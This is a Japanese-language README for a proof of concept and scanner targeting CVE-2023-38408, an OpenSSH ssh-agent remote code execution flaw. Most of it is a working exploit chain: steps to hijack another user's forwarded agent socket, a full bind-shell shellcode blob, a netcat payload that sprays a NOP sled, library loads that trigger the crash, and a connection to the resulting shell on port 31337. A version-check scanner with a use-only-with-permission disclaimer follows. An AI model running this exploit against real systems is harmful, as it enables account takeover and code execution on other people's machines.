
CVE-2023-38408 SSH脆弱性スキャナー & PoC
OpenSSH (9.3p2 より前のバージョン) に脆弱性が発見されました。OpenSSH の ssh-agent における PKCS#11 機能は、検索パスが十分に信頼できないため、エージェントが攻撃者制御のシステムに転送されるとリモートコード実行につながります (/usr/lib 内のコードは ssh-agent にロードしても必ずしも安全ではありません)。この欠陥により、サーバー上の転送されたエージェントソケットを制御し、クライアントホストのファイルシステムに書き込む権限を持つ攻撃者は、ssh-agent を実行しているユーザーの権限で任意のコードを実行できます。
以下の例では、探索から alice ユーザーの侵害に至るまでの手順を簡単に見ることができます。
前述のとおり、この POC では SSH 経由でサーバーに接続した 2 人のユーザーを使用します。以下の手順を実行するには、2 人のユーザーがすでにサーバー (SSH) にアクセスできることを前提としています。
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
最後に、シェルコードがエージェントのメモリに正常に配置されたら、Ctrl-C を押して netcat 転送を停止します。
[!NOTE] SIGSEGV の発動 💬
SIGSEGV は、無効なメモリ参照 (セグメンテーションフォルト) が発生したときにコンピュータプロセスに送出されるシグナルです。SIGSEGV シグナルを受信すると、カーネルは無効なメモリアクセスが発生したことを認識し、プログラムを突然終了させる代わりにカスタムシグナルハンドラを呼び出します。これにより、攻撃者はプログラムの実行を操作し、NOP スレッド内に配置された注入済みの悪意のあるコードへと誘導する機会を得ます。
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
この脆弱性は、主に OpenSSH の SSH エージェントが使用され、エージェントの転送機能が有効になっているシステムに影響します。OpenSSH に依存している組織や個人は、潜在的な曝露を判断するために、早急に設定を評価する必要があります。お使いのシステムが前述の条件に該当する場合、CVE-2023-38408 に関連するリスクを軽減するために直ちに対策を講じることが極めて重要です。
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408
python CVE-2023-38408_scanner.py -t <target> -p <port>
Client Server
| --- SSH-2.0-Client_Test ----> |
| <---- SSH Server Banner ----- |
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne
[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2
このツールは、許可されたセキュリティテストおよび教育目的のみを意図しています。ネットワークリソースをスキャンする前に、必ず適切な許可を取得してください。